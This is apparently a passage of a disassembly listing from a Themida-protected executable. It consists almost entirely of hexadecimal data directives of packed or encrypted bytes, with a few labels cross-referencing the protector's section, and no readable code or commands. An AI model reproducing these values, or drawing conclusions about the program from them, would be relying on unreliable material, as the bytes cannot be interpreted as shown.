		dd 817AC41Fh, 7A221D69h, 0B3148A66h, 0F9184FC6h, 0DE2A401Dh
		dd 57AE0465h, 0BDFF0E2h, 4FC6B39Bh, 53CC18CEh, 10F918EEh
		dd 34F0334h, 627D1F37h,	2154F115h, 7, 1683FB5h,	86D30000h
		dd 0B320965Ah, 0ED144FC6h, 0B3514921h, 5AEA4FC6h, 0C44A2642h
		dd 88498B3Dh, 0B69FBBA9h, 7ACF58A4h, 5FABBFA0h,	0D990A9F5h
		dd 3AA83C8Bh, 24FD45FDh, 6BEC461Bh, 59202B77h, 5773D1E7h
		dd 4FDBB99Ch, 53DF2FD2h, 56CCB887h, 5B3280Dh, 7A6A0000h
		dd 7855062Eh, 7D53042Ch, 80560731h, 845BFC34h, 0B9210038h
		dd 65CF1B34h, 67D11D34h, 5FD92536h, 78E02C3Eh, 42343864h
		dd 0F2561447h, 6981CFD3h, 5D75221Dh, 0E33B1611h, 0A1B7AB20h
		dd 0ABA57CC8h, 48FB8EEFh, 79909F9h, 956E216Eh, 0B882A282h
		dd 0F1C619A6h, 76A54h, 3F040000h, 0B6h,	0D3E95BD3h
		dd 3D2A5975h, 9D84498Bh, 76C496BFh, 0D0076409h,	5874D03Ah
		dd 5613CAE6h, 1A42EB46h, 0E85E724Eh, 4C5613CAh,	560C49E5h
		dd 0CB352945h, 4EF75613h, 4CB54C98h, 0A6BE7ED3h, 5628B6BAh
		dd 35DC4FD8h, 27173307h, 54FC74Ah, 0F13A8660h, 3D25F118h
		dd 42FA461Ch, 42FD4921h, 9374DEFh, 8F370245h, 3DCD3449h
		dd 0CAF52E0Bh, 0DED045EEh, 95000004h, 98C973BFh, 96C771BDh
		dd 9DBE76C2h, 9ABB75C1h, 60BF79C5h, 8EDAF57Ah, 90DCF5A6h
		dd 98E4F7A8h, 9FEBFFA0h, 0F1FD21B5h, 5614477Dh,	860A14AFh
		dd 0B320965Ah, 23144FC6h, 0EF4BE22Eh, 1592Ch, 0E95BE200h
		dd 0D40C75D3h, 0B3FCD204h, 2DD42032h, 467579E1h, 78498BDCh
		dd 0D88AAB99h, 0DFF8A48Ch, 4CB7BE0Ch, 0A447A4B5h, 0AEA4B17Dh
		dd 0B090E962h, 16A0AC98h, 0E64FD849h, 263C1D4Bh, 294162DAh
		dd 37625418h, 28CF4FC7h, 1E6726F4h, 0C960BF67h,	7389BB7Eh
		dd 0A0ECE4D5h, 3D02CE96h, 0A9498ED4h, 0CCC5B995h, 0C867560Eh
		dd 0AA75C197h, 0CA65BB57h, 0F58DFA6Ch, 896CB7CAh, 421h
		dd 80B804D8h, 82BA06DFh, 81BB07E1h, 82BA06E0h, 82BA06E1h
		dd 0A1B63BA3h, 0A7BADB55h, 0ABC0E15Bh, 0AEA4F55Fh, 0BAE6FA62h
		dd 1448C0B6h, 4D517456h, 3F1D6981h, 27F33F16h, 5869811Eh
		dd 0C6B32294h, 16EF124Fh, 0CCF03C0Dh, 0C6B38E00h, 0B3FFD34Fh
		dd 7B4BB45Bh, 0C90A79CAh, 0EB2A300Ah, 20186476h, 0F19F617Eh
		dd 67835754h, 4FC730F7h, 6D69DA35h, 0F7432621h,	6536h
		dd 5A86D000h, 0C6B32096h, 21ED144Fh, 2A162E0Eh,	8EF9D026h
		dd 5FFD2449h, 37835A7Bh, 1A667ADBh, 965A8622h, 560EFE20h
		dd 4921ED14h, 560EFE52h, 230D5911h, 714D5E72h, 0EFDE95Dh
		dd 88E44B56h, 560EFE16h, 0EA363116h, 8210861h, 357DE3Fh
		dd 0A9920000h, 0B6E962AEh, 7BCE59A5h, 731D7992h, 0D966D91Bh
		dd 6A81073Dh, 0F9327E54h, 324BF910h, 0B76D316Fh, 0E25BB79Fh
		dd 0E7519DB5h, 0CF58A4B6h, 0D26EBAB0h, 8C738EB1h, 0B47E2B7Eh
		dd 4D63D59Ch, 0B990DBEFh, 43DE498Eh, 0DE435C08h, 1044DC95h
		dd 33B03542h, 71982A98h, 56D11DCEh, 574B27F3h, 10560EDBh
		dd 75CD32Ch, 88B5525Ah,	61C883CFh, 0DED09CC8h, 4E560F50h
		dd 12F167B3h, 39AF079Ch, 3B7C5Bh, 86120000h, 0E8327E55h
		dd 6BD9EF51h, 8E9E8C5Fh, 5875E249h, 0D72E130Ch,	0DF4A404Ch
		dd 351D560Eh, 0FD156EDEh, 2E4FB99h, 27478E4h, 32560F03h
		dd 8E1143CFh, 0F55B3965h, 0CCh,	7A558689h, 5F73E42Eh, 5C798F49h
		dd 0DB321710h, 3410F950h, 38024E03h, 2B77700Fh,	1F6B7F20h
		dd 135F7324h, 24E0435h,	5B942038h, 0BE4FC6B1h, 0ACF860ACh
		db 8Bh,	0D3h
word_5964D6	dw 0AB87h		; DATA XREF: Themida_:0053E598o
					; Themida_:0053F720o
		dd 0B36CB8AAh, 9AC6DE5Eh, 6FBB95C6h, 0A9C14DB4h, 498EB692h
		dd 0B47BB55Ch, 0FCD06C84h, 4FD40619h, 6B4CF817h, 6F302874h
		dd 7EDE2C78h, 3BCCBF27h, 22B0DF0h, 0F2E20000h, 0F0EDAEA6h
		dd 0F5EBACA4h, 0F8EEAFA9h, 0FCD384ACh, 319988B0h, 0ED67B3ACh
		dd 0EF69B5ACh, 0C771BDAEh, 0C078C496h, 0CABC90DCh, 6A56144Ah
		dd 6681478Bh, 550D2E1Ah, 4FEB3E09h, 697A5B07h, 1C3F221Dh
		dd 0D831FA46h, 0FD49213Eh, 7330753h, 0C6B35343h, 323EE14Fh
		dd 4FC6B33Ch, 3F0511F0h, 75D3E95Bh, 8E9E8259h, 0FA45EC49h
		dd 0EDEF872h, 68516F56h, 1E905C6Dh, 0E560EDFh, 5A001AF3h
		dd 417A057Bh, 1D3E5B39h, 0D52CF743h, 0EBEC39h, 81820000h
		dd 1B3F1D69h, 0C6B35F4Fh, 616DCD4Fh, 4FC6B2EDh,	0ED49E03Fh
		dd 0E4302758h, 0B196515Bh, 0E5FD4FC6h, 34CD19CFh, 0DD25F708h
		dd 6F696F23h, 0F8EAABA3h, 0D45AD6AAh, 0BD910556h, 4FC700C9h
		dd 0C45DC46Bh, 9EE18798h, 0B9F2BBDFh, 56B1DFB1h, 0AF8BF58Bh
		dd 11CDEE96h, 6F96E2FBh, 94AC8CA3h, 8AD68FA8h, 96CE68C1h
		dd 8F10A1BAh, 0ACA48B49h, 0FF5D73C5h, 0E7A9B19Eh, 447CA7F3h
		dd 72EA44AEh, 0D4C4D85Eh, 47F51C4Fh, 32D796Eh, 206C7E57h
		dd 67F84227h, 1B8B5F70h, 194FC8BBh, 3F8B45F6h, 26041D04h
		dd 0CCBF9CD0h, 0EEDF3EE9h, 0A5000000h, 0A8F963AFh, 0A6F761ADh
		dd 0ADEE66B2h, 0AAEB65B1h, 70EF69B5h, 9EEAE56Ah, 0A0ECE5B6h
		dd 0A8F4E7B8h, 0AFFBEFB0h, 1CD1185h, 56144B8Dh,	81FA449Fh
		dd 0D2E1A66h, 28300A56h, 1D176377h, 1D698163h, 8A667A22h
		dd 4FC6B314h, 9346F918h, 925FC47h, 0E548964Ch, 0F9451B80h
		dd 0A1F0A10Eh, 0E7FBDC88h, 5DB9909Bh, 0A8C282F9h, 8C220A24h
		dd 0C7758C51h, 8B3EE003h, 0F833CE49h, 0D479347h, 1148964Ch
		dd 614A0F93h, 4C68E34Ah, 7038B979h, 814D71BDh, 70283A0Dh
		dd 2436001Fh, 8E4871E1h, 7367F842h, 766C2D27h, 5283212Ah
		dd 0DF42F7Bh, 2E7A5401h, 0E61D33F5h, 6B637971h,	0D9253C1Fh
		dd 3612FB4Eh, 44FF4B05h, 5CFD51DDh, 53F13A86h, 7D367F2Ah
		dd 0FC169216h, 1419h, 23AAD300h, 1C925E3Ch, 107027CAh
		dd 0CF9116F1h, 63BF8591h, 1F6B8117h, 135F7324h,	28746718h
		dd 1D69801Fh, 0E5A7522h, 216D6215h, 115D7926h, 236F6916h
		dd 125E7728h, 0EC837419h, 241C8904h, 0C381E389h, 4, 8704EB83h
		dd 685C241Ch, 1233h, 50241C89h,	405E089h, 83000000h, 48704E8h
		dd 3C895C24h, 339CBB24h, 0BD5542FDh, 40EE02C0h,	815DEB09h
		dd 23409DF3h, 0E3814363h, 669E37CDh, 75F38143h,	5426D1A3h
		dd 83243C8Bh, 0B95104C4h, 8, 8F53F901h,	34FF5901h, 0C4835F24h
		dd 2434FF04h, 4C4815Bh,	0E9000000h, 0FFFAE2F3h,	4E2D1D60h
		dd 0B81BB17Fh, 64D99EFh, 0E0FFC503h, 6D17A32Ch,	43E3B28Fh
		dd 0B0FCF49h, 73BB97E3h, 6651715h, 755E83DBh, 461BE70Dh
		dd 1E3E80C0h, 11E67A03h, 46A0492Bh, 2889954Fh, 22CCFF39h
		dd 4A204105h, 0D26DBF3h, 3DFD497Bh, 357914DEh, 13E2E6F5h
		dd 299C26DEh, 18EEDCCFh, 42C0A6E0h, 7498F821h, 7D4832CEh
		dd 0BBA997Ah, 1248B6D1h, 3078919Dh, 776C55A5h, 539B959Dh
		dd 512EE111h, 11DA67ABh, 0C4E613Bh, 5291C4CEh, 7E8h, 30DBD200h
		dd 26A27AF9h, 0F59E18Ah, 0C181C7B7h, 5B5Eh, 5E9h, 16F1B900h
		dd 0AF68F6A1h, 0F9000016h, 0F820F5Bh, 0E9000000h, 0Ah
		dd 94C4D614h, 0F7836DE1h, 318B814Eh, 0CB40EA81h, 0C681506Dh
		dd 4F30D20Ch, 0C681C68Ah, 12912CFh, 5E8h, 81CBFB00h, 0C18BD59Dh
		dd 0CEC68158h, 8111B788h, 7AB758EAh, 60318932h,	8BE3C480h
		dd 0E98361C8h, 0B8E0F04h, 0E9000000h, 6, 0D95A723Ch, 0EB835758h
		dd 0AB850F01h, 0E9FFFFFFh, 13h,	896D37BEh, 0F9C52D0Ah
		dd 0B182B305h, 5334CBA0h, 0E9D912BEh, 15Ch, 0F1FE1DBBh
		dd 97E64981h, 0BF45A91h, 52FF542Bh, 0BFC54F0h, 52F75A97h
		dd 3BDC739Dh, 528E268Fh, 0C5AE27A3h, 611A7B39h,	52C9B4BDh
		dd 52B81697h, 52B8179Fh, 52B816DBh, 52B816E9h, 52B816F6h
		dd 52B8167Bh, 52B81692h, 52B816DEh, 52B81667h, 52B816B7h
		dd 26CB6F88h, 72B87B88h, 31D764A6h, 0FCB651Eh, 52B816BDh
		dd 52B816DEh, 52B8166Fh, 52B816B7h, 52B816DBh, 52B816EDh
		dd 52B816F6h, 52B8167Bh, 52B816BDh, 52B816DEh, 52B8166Fh
		dd 52B816B7h, 52B816DBh, 52B816EDh, 52B816F6h, 52B8167Bh
		dd 52B816BDh, 52B816DEh, 52B8166Fh, 52B816B7h, 52B816DBh
		dd 52B816EDh, 52B816F6h, 52B8167Bh, 52B816BDh, 52B816DEh
		dd 52B8166Fh, 52B816B7h, 52B816DBh, 52B816EDh, 52B816F6h
		dd 52B8167Bh, 52B816BDh, 52B816DEh, 52B8166Fh, 52B816B7h
		dd 52B816DBh, 52B816EDh, 52B816F6h, 52B8167Bh, 52B816BDh
		dd 52B816DEh, 52B8166Fh, 52B816B7h, 52B816DBh, 52B816EDh
		dd 52B816F6h, 52B8167Bh, 52B816BDh, 52B816DEh, 52B8166Fh
		dd 52B816B7h, 52B816DBh, 52B816EDh, 52B816F6h, 52B8167Bh
		dd 52B816BDh, 52B816DEh, 52B8166Fh, 52B816B7h, 52B816DBh
dword_596A6C	dd 3F827705h, 168AE9h, 9EAC6800h, 25E9064Dh, 68FFFBAAh
					; DATA XREF: Themida_:0053FAE8o
		dd 64D9F86h, 0FBAA1BE9h, 0A08368FFh, 11E9064Dh,	68FFFBAAh
		dd 64DA146h, 0FBAA07E9h, 0A29768FFh, 0FDE9064Dh, 68FFFBA9h
		dd 64DA40Bh, 0FBA9F3E9h, 0A4E468FFh, 0E9E9064Dh, 68FFFBA9h
		dd 64DA5D6h, 0FBA9DFE9h, 0A82768FFh, 0D5E9064Dh, 68FFFBA9h
		dd 64DA8EAh, 0FBA9CBE9h, 0A9A468FFh, 0C1E9064Dh, 68FFFBA9h
		dd 64DAA4Eh, 0FBA9B7E9h, 0ABE868FFh, 0ADE9064Dh, 68FFFBA9h
		dd 64DB122h, 0FBA9A3E9h, 0B22368FFh, 99E9064Dh,	86FFFBA9h
		dd 0D0B5435h, 94A4DFB2h, 0A164948h, 98A8DBAEh, 76184B46h
		dd 98F9C542h, 88159E7h,	99F0C957h, 0E835AE6h, 9863C455h
		dd 9AB91A98h, 5CCC3B60h, 9FF2CC80h, 0EDFB4689h,	22CE78E2h
		dd 0AA32D6BBh, 4FC57E13h, 74FFE8D8h, 0AFBE5B3Fh, 296286C9h
		dd 0CF2B6677h, 4ED8AA02h, 5BA3E9A7h, 0A871EE70h, 35EA9Bh
		dd 3EC40000h, 0E35CCF37h, 0DC793E1Dh, 8CFDDB8Fh, 0EE83578h
		dd 0C2A922F1h, 833AFBDh, 533D4FFCh, 107CA74Eh, 0EF57C506h
		dd 0D9479BA7h, 307B8900h, 0AE35C6h, 22E90000h, 0AA32D6BBh
		dd 2E677D14h, 0B7AE0291h, 4B76A106h, 0B3DEFFEFh, 99F8C515h
		dd 0BEFC3DE6h, 0F295A106h, 6BD2769h, 83CCEFA1h,	92A8462Eh
		dd 0D21EF892h, 5BDDA6EBh, 60AD982h, 0CEA10703h,	0FE2ABE83h
		dd 0FB9C8F77h, 1F7127C4h, 81753D1Bh, 0BED6D338h, 31F25DAFh
		dd 8B7C44CBh, 274D800h,	0AA9DA0B6h, 6EB1E0FEh, 4454C72h
		dd 0FC53BECEh, 1D50FBB1h, 76000014h, 0DD5B2465h, 44D48F02h
		dd 0DA661978h, 48D88BFEh, 46681B76h, 0C8C915F2h, 58318997h
		dd 0C9C01927h, 5E338A96h, 0C8931425h, 9AB919C8h, 22330B90h
		dd 8E8AD5BCh, 8521622Fh, 5CCF373Eh, 0F97584BBh,	0D2787A51h
		dd 77F05B68h, 127AAFBDh, 0EA43E1A8h, 0CEA6DFDAh, 38053818h
		dd 64ED3FACh, 0E02CA74Eh, 1A7B516h, 0CFA39BA8h,	7B000000h
		dd 32D6BB22h, 677D14AAh, 6BEB702h, 0B09C41A1h, 66697F0Ah
		dd 5D8681Bh, 50C788Ch, 457FFAFh, 5B7CD7BAh, 43C47946h
		dd 0BEE753B8h, 0B172DDAFh, 0BFCC44Bh, 30800BACh, 0F8A74F75h
		dd 0B15861D5h, 37B60294h, 0DFA2EFCFh, 6D1CBC6Ch, 5E25457h
		dd 65E7F6A2h, 8C8F3554h, 657965D1h, 0D9E5F32Ch,	0B14D91B8h
		dd 8626FC53h, 1343DBh, 4A3F9C00h, 0D9B80719h, 4F429AA6h
		dd 0D5B40414h, 61308E8Ah, 0DB2C901Eh, 43D58E03h, 0CF511277h
		dd 54E49FEAh, 0CA570889h, 18969A69h, 0D15E9AB9h, 9FBC226Dh
		dd 6B7BCD4h, 43984A1h, 0D9D7A403h, 0A1A106B7h, 0B6DA2E90h
		dd 0F02DBCE3h, 0BE1F2106h, 0C95F2A8Eh, 8788BB86h, 59555B28h
		dd 0B21DA106h, 7F31FE48h, 979A2E5Bh, 0E7AA33A3h, 222AB464h
		dd 0EC2FD5BCh, 7505C531h, 0EAF62968h, 0E129BFD2h, 0EF6C50FCh
		dd 6B80C24h, 0B469D4A1h, 0F500D10h, 32D5A2F0h, 6B767A9h
		dd 2A0C2FA1h, 787353DAh, 0B8444C17h, 7C0CA106h,	88933160h
		dd 0F78461D5h, 0AFBE5120h, 5A2F8BFDh, 439783CEh, 0A6058EF8h
		dd 909FC071h, 35BE2999h, 0AD90B34Ah, 0E71BA914h, 0EB569260h
		dd 9818568Ah, 0ED9962E5h, 8CB3D41Bh, 67A66B53h,	79DDCCF3h
		dd 33E56669h, 9C9CE7AAh, 0F195041h, 98FE8088h, 124669D4h
		dd 3C9F0000h, 0B906124Dh, 4399A7D8h, 0B503154Eh, 318D8BD4h
		dd 2D8F1F60h, 0D48F02DCh, 50137644h, 0DFA0E9D0h, 4A157C61h
		dd 919F6CCFh, 599AB917h, 0BB226AD4h, 4FC632D6h,	0E2068B32h
		dd 0DAA9A2DFh, 0AFBEA3B1h, 0BFE023Bh, 6E6364D2h, 0A6424F6Eh
		dd 0B365E69Bh, 0D2BF1D27h, 9236EB36h, 7682AB8Fh, 0BAD7E567h
		dd 3E356187h, 39B645C6h, 3B6034Dh, 0FBE14FB8h, 0D543A496h
		dd 4AD68908h, 910A1E73h, 39CFBA1Fh, 79F004F6h, 8F019E89h
		dd 7BC6622Fh, 0E8BD329Fh, 447BC50h, 0D9D7A403h,	0A5B3EA18h
		dd 5C5F7514h, 328BFDFAh, 0C914245Fh, 41C83CC8h,	22FD8681h
		dd 0ECC2A1B8h, 8E88A8E1h, 792BEFBBh, 1183D6h, 8AFFDC00h
		dd 197847D9h, 8F02DA66h, 157444D4h, 0A1F0CE4Ah,	9B6CD0DEh
		dd 3154E43h, 8F91D2B7h,	14245F2Ah, 8A97C8C9h, 17565A29h
		dd 911E9AB9h, 0D5BC22ADh, 2DA3AA8Ah, 0B7AF018Ah, 5477A106h
		dd 6B769A7h, 530E31A1h,	0B84C0BD8h, 6BD6AFBEh, 526C1C5Dh
		dd 0B20BDB3Fh, 4994A4DFh, 0C148BC48h, 0B16C1DBCh, 4842AD36h
		dd 81CCB606h, 0CBBE1A86h, 0C408F23Dh, 13A65295h, 0EB4F5276h
		dd 4F6E070Fh, 9D66C942h, 0AD96E593h, 0D1E8F05Bh, 35212CB8h
		dd 0BD050CF0h, 0E5B6C14Ah, 0A553BC4Eh, 50847613h, 2E8FD7EDh
		dd 0AB5CC563h, 4CAEDBFDh, 242B66B0h, 0D7A06BDCh, 74C296E5h
		dd 0B8358E3Bh, 231788CDh, 45D38CAFh, 5E0B1978h,	0BA26FB4Eh
		dd 0F0209718h, 54EA4C44h, 4F751CA3h, 0CD25114Ch, 0E8A93441h
		dd 7D14A937h, 0CC343B67h, 0D093905Bh, 0B21DC8DEh, 0A11D4E71h
		dd 22F15AAAh, 0CF23DA15h, 0A87579Fh, 46E2A712h,	0D44446FBh
		dd 0F59C420Ah, 68B5DCE3h, 99DEF5Ch, 8E85C6BDh, 9126B536h
		dd 5BD57175h, 3489F7F0h, 0A6545C27h, 0B11CCD0Ah, 9825B36Ch
		dd 7A5526B4h, 5CC76C4Bh, 0F70D500Dh, 0E5AC127Eh, 0CE1AFC3Fh
		dd 0D2E8A1F0h, 0F5DCE379h, 10328C2Fh, 308B0000h, 0C51A2659h
		dd 378593CCh, 0C117295Ah, 358997C8h, 3983235Ch,	0D88B06D8h
		dd 4C177248h, 0E39CEDCCh, 56098855h, 959B68CBh,	5D9AB915h
		dd 0BC226ED0h, 13A652D5h, 44F5276h, 65123DC2h, 0A28B6FF2h
		dd 2F642AA5h, 2FE0E5A0h, 0C1C21BCBh, 0DEBE2488h, 0B235E8D2h
		dd 0CE8A8655h, 0EF52A105h, 9E3FC70Bh, 3588F8F3h, 90DAFA5Ch
		dd 328BEA34h, 3884C01Ah, 26592459h, 2A677729h, 1DE061E9h
		dd 77E35971h, 5FD85FBDh, 16A5B95h, 22130000h, 0B255D6BBh
		dd 6B7E729h, 0AA8CAFA1h, 88FBE22Ah, 7C48CC8Ch, 0E89BE613h
		dd 205FD74h, 0BE255A79h, 4BD9E4AFh, 0FF6F95CAh,	0E3018830h
		dd 921697D8h, 3D4F7CDEh, 7CA74E11h, 57C50610h, 479BA7A9h
		dd 0A5D81910h, 4DBE5C56h, 4E5872BEh, 23173AA7h,	3ACEh
		dd 373E9000h, 1C8F5CCFh, 0B9AFBE54h, 0E3838D56h, 4BA74Eh
		dd 0E333972Fh, 0EE48CC88h, 8835D3FEh, 0A74EC784h, 0EBD49C3h
		dd 9BA86510h, 0B50Ch, 39548B00h, 0B86D2DD1h, 22E953C7h
		dd 0BA25C8BBh, 78BBCEEAh, 0AF723328h, 5FEDD119h, 0BB49147Dh
		dd 0E9FF922Bh, 0AE103CA1h, 62E59EE3h, 0F16524B6h, 6B8D1C8h
		dd 1EBE6AA1h, 86578773h, 8B99F8C6h, 0D242FD40h,	0F3806B5Bh
		dd 0AFB9D470h, 0A454D7FAh, 2CAC771Ah, 364EFF92h, 3D029C70h
		dd 0EBE44A7h, 0C4170000h, 617E7AC5h, 0CBF1EF30h, 5D7B7DC6h
		dd 0D9E5F32Ch, 0D5E787B8h, 9CE7AA34h, 184B3E9Ch, 0A7D8B108h
		dd 124D4499h, 0D9D7A407h, 0A19AB913h, 0BC22E27Ch, 0B7BCD49Fh
		dd 3984A106h, 5CCC3B04h, 9DF4C87Ch, 1DF94487h, 0DAA5ECD1h
		dd 5281F26Dh, 0D0109435h, 0BB22E066h, 0B7BDD3A0h, 3A85A106h
		dd 4499E107h, 0B706124Dh, 0B7D9D7A4h, 9EA1A106h, 5AD145E3h
		dd 81F2816Ah, 0BAFBE53h, 0A667FC0h, 7C000008h, 2FD5BC22h
		dd 6B7828Ah, 23E36AA1h,	24045B28h, 83CEAFBBh, 0BEC51888h
		dd 35BEECDAh, 0A753EEDBh, 0D2D798A3h, 0E4671AC0h, 0C478B843h
		dd 7B44A753h, 29AFF216h
		db 0E1h
byte_597231	db 0FCh, 95h, 6Fh	; DATA XREF: Themida_:0053EB2Co
		dd 2005F12Ch, 30D4BD20h, 0B64516A8h, 0A753C47Ah, 0B42FF42h
		dd 29A0F05h, 0E513BE6Eh, 3E00000Dh, 0A533EC9Dh,	2CAC771Ah
		dd 0C23E0190h, 30B07316h, 2E40038Eh, 0B0E1FD0Ah, 4049716Fh
		dd 0B1D801FFh, 464B726Eh, 0F07BFCFDh, 9AB913A0h, 311B4368h
		dd 0B7AB058Eh, 4873A106h, 0B5DC02EEh, 50F4C632h, 0FA5C2168h
		dd 771AA335h, 50681851h, 721FBF39h, 0FFEF4B56h,	0C838B3DEh
		dd 1BBF9BF6h, 0D0A571C9h, 0B3DBA4EDh, 956054A1h, 1A9Dh
		dd 0EB9DFA00h, 0C24BBCEh, 0D4A106ACh, 5C78D69h,	0A106B1DDh
		dd 0FDB9CFF2h, 5F3FFFFh, 0A106B7A7h, 0BF28988Fh, 0BB239334h
		dd 18C070AFh, 49125371h, 0A7545447h, 8571AC0Fh,	0F176DC55h
		dd 0D6A67C4Eh, 0CDF0A08Bh, 0EC7BB0B6h, 0E39E1254h, 5D26B868h
		dd 244BB57Bh, 1EF12CC0h, 5A4BC1EFh, 77C09AA6h, 0CA3D5469h
		dd 0EF41CA6Dh, 0B7A75436h, 37296794h, 0CEF1A754h, 0BE20686Ch
		dd 9DBE9AD3h, 1FC50299h, 0CF3BCh, 1A6F4C00h, 8908D769h
		dd 1F724AD6h, 8504D464h, 0F1A03EBAh, 0EB1C202Eh, 7385BED3h
		dd 0DF612267h, 44D48FFAh, 0DA671879h, 12868A59h, 0E14E9AB9h
		dd 0D6BB227Dh, 7E13AA32h, 4F612A8Dh, 17A106B8h,	0F88242B4h
		dd 0BA03727Ch, 74E28CD7h, 70956054h, 28h, 607F312Eh, 0AE889331h
		dd 6B23D25h, 27D952A1h,	860BB193h, 38225F62h, 0FFFCDE8Dh
		dd 2EBD5AFFh, 0A106C1E2h, 89B3A7AAh, 5CCF373Eh,	1D6C4DBBh
		dd 0A2C39039h, 428DAFBEh, 0D0F239A6h, 0D933A74Eh, 6960BE0Dh
		dd 0E0509BA8h, 53A892FFh, 203h,	825A7BB4h, 0B960FB6Ch
		dd 0D705F75Dh, 0A3A106B7h, 3CAF7217h, 83A1F0CCh, 0BA4ADE38h
		dd 23B56E23h, 6CD1F79Ah, 0A106B8C8h, 0F3C632B5h, 4206951h
		dd 186084B9h, 0F33ECAC7h, 0E630CC2Eh, 20632E8Fh, 34D0363Ch
		dd 187945B3h, 0A737C10Ch, 0FDE010EAh, 0D3E59394h, 5DDB44B6h
		dd 9DECCC80h, 0EF94487h, 0B8CEE2B1h, 2B96A106h,	0E07AA4E8h
		dd 8476681Ch, 47019B40h, 0CC40A107h, 0DF8B8942h, 80879560h
		dd 10000001h, 3ECCE4AFh, 0E494A107h, 8C6EB3D6h,	0D6BB22C2h
		dd 0E27EB932h, 1964DE64h, 0C11CCC2Eh, 0F0A08FD0h, 0A357C3CEh
		dd 25D354ACh, 0F739C299h, 0BFA105DAh, 9855C17Ch, 0BD7DE8CBh
		dd 0B94F72AFh, 4DFBF814h, 6FD037A7h, 4DFB8CA4h,	0DE954A7h
		dd 0B4A229F5h, 0B09BA794h, 38h,	0CF373E6Eh, 541C8F5Ch
		dd 9BA6AFBEh, 0A7DC00B0h, 81502BF6h, 7296CBD5h,	8E07CB2Fh
		dd 318EB622h, 0C479C460h, 0D4236952h, 2A62A74Eh, 706DEFDCh
		dd 0D4699BA8h, 45000000h, 32D6BB22h, 838D56B9h,	4BA106B7h
		dd 0F4CA1600h, 1335AA9Dh, 4DCC4356h, 69A22214h,	726A27B7h
		dd 6D2444Dh, 0CD4EDAB7h, 2C0E835Bh, 0AF7021BCh,	5B38D14h
		dd 0CBC617A1h, 0D4E99798h, 25EE27BDh, 0A105E30Bh, 23B568D3h
		dd 0EE1EF899h, 0B7E5A67h, 0A932D556h, 0A105E267h, 9473506Ah
		dd 132188E3h, 0E2B14EA8h, 0AFB934A1h, 6EEDD23Eh, 50C48BA5h
		dd 35E853A7h, 1978478Fh, 0DFE2F264h, 6D1CBC6Ch,	0F5C45457h
		dd 0D345A294h, 3BBD860Bh, 653FEEA3h, 0B6029D0Fh, 0AA24BF6h
		dd 0E0FB0000h, 556A76A9h, 0E7F5033Ch, 516779AAh, 0E5F90738h
		dd 0E9D373ACh, 48FB9628h, 1C6722B8h, 93CCBD1Ch,	26593885h
		dd 0C5CB981Bh, 8D9AB90Fh, 0BC223E20h, 2F8E8AD5h, 31852162h
		dd 0C7335E7Fh, 60CBC617h, 3C4282E7h, 4F6ACDCh, 0ECA538C0h
		dd 41B8A33h, 1B80000h, 71A720EFh, 29F1CD72h, 0A8E1F903h
		dd 4FB7BE4Eh, 24070FDCh, 2893AFBBh, 0C30388BFh,	22A0DBBh
		dd 6E6EB3D6h, 98D64051h, 32B50D04h, 0C4FFEA9h, 0D1ED9BB6h
		dd 3B8656C0h, 0DFEC40ADh, 0E12BAD9Ch, 78A8B615h, 84A4A1F6h
		dd 7A000003h, 6B7A705h,	0B8A756A1h, 0C64DA106h,	0E97E0DFEh
		dd 0B3AFBEA4h, 0DE188h,	8626029Fh, 9DFDBh, 0E6A33800h
		dd 4D449B9Dh, 0DBB60612h, 494098A8h, 0DDB40A16h, 57B804A2h
		dd 0C7590A87h, 4BCD96F3h, 0D8681B6Eh, 46D38C05h, 101A16E5h
		dd 0BDE29AB9h, 0D6BB22A1h, 774FC632h, 23B4E774h, 133EAFBBh
		dd 0B340DF50h, 0A754535Dh, 0CC401A25h, 18A7D45h, 0B608BFBEh
		dd 96020548h, 56C24544h, 0C110584h, 0A1EF7C1Bh,	69ADA1EFh
		dd 2DC7F466h, 0D5ADA1F3h, 4B652E58h, 13ADA1F1h,	5CB43FA8h
		dd 24ADA1F0h, 1D1B6419h, 0B038CCBDh, 2760840Dh,	0F0B5FB88h
		dd 527DADA1h, 6F1D14E8h, 0A1F08CA4h, 34E954ADh,	187945B3h
		dd 9855C10Ch, 599094CBh, 7AB31EBCh, 0F603C4BCh,	25BA25C7h
		dd 7E000009h, 0E5F32C5Dh, 6C6CB7DAh, 2FE4150h, 7070B3D6h
		dd 6E00434Eh, 7021BD4Ah, 8931AFh, 7118C13Fh, 68B32AEh
		dd 0B03BBC3Dh, 9AB90E60h, 3E5B0328h, 8F5CCF37h,	0AFBB2390h
		dd 0C434B71Ah, 2E7197FAh, 5D7D2BCCh, 0BBF4F32Ch, 0F74B95F7h
		dd 0DFFFF9B1h, 2F0B16B2h, 5A6E1BBFh, 6CDF272Eh,	8CC9C9Fh
		dd 0D1B26B6h, 50602B8Ch, 1CADA1FDh, 0F639CFC2h,	877BDFE2h
		dd 3CC74080h, 0BC59F84Fh, 0A1A673ECh, 0D1C8F5E0h, 34C0308h
		dd 0E675EF29h, 0B3EA6DAAh, 41124F72h, 2353DFEBh, 19C92D93h
		dd 0D2CB77B6h, 1CD0F603h, 87BB1h, 8207D400h, 0F1A03FC1h
		dd 870AB22Eh, 0ED9C3CBCh, 7918A632h, 7394A8C6h,	0DB5D266Bh
		dd 47D98AFFh, 0CC4C1772h, 62DFA0F1h, 0DFE12E1h,	59C69AB9h
		dd 0D6BB2205h, 7E13AA32h, 0CBBE1B8Dh, 0C408F23Dh, 582CBA32h
		dd 517712A8h, 0A1DCB509h, 0FD9429B5h, 510A0C42h, 0A4069560h
		dd 91000001h, 0B04B652Eh, 9A13A106h, 0CF64F620h, 0EE481567h
		dd 0A0BB2268h, 6B7BDD3h, 0D13A85A1h, 6B7EE42h, 0D68BB6A1h
		dd 7E13AA32h, 0D0C11B8Dh, 0D45BC166h, 0A43517A7h, 41FC3FE5h
		dd 53800BFCh, 0DDAFBE5Bh, 0A3E95672h, 6FA74ED8h, 2B850E4Dh
		dd 0F3A74ED9h, 0E76F95C8h, 0E728BCD5h, 9219A16Dh, 0F798ECFAh
		dd 4ED9246Ch, 75E1ECA7h, 0A8715DBFh, 3E599Bh, 52BE0000h
		dd 5D262168h, 0A74ED153h, 46B01Bh, 5CCF373Eh, 0BE541C8Fh
		dd 0B09BA6AFh, 46B0D900h, 0E3D3D986h, 7512A74Eh, 42B74D3Ah
		dd 0E920F396h, 0FBF7637Ah, 0B646D8F3h, 0E6429BA8h, 1C000000h
		dd 55D6BB22h, 641220DAh, 4E7105ECh, 0B81CFE43h,	9FCF083Fh
		dd 13D47F07h, 6544848h,	70AD10A1h, 0C8845A86h, 438E9AF7h
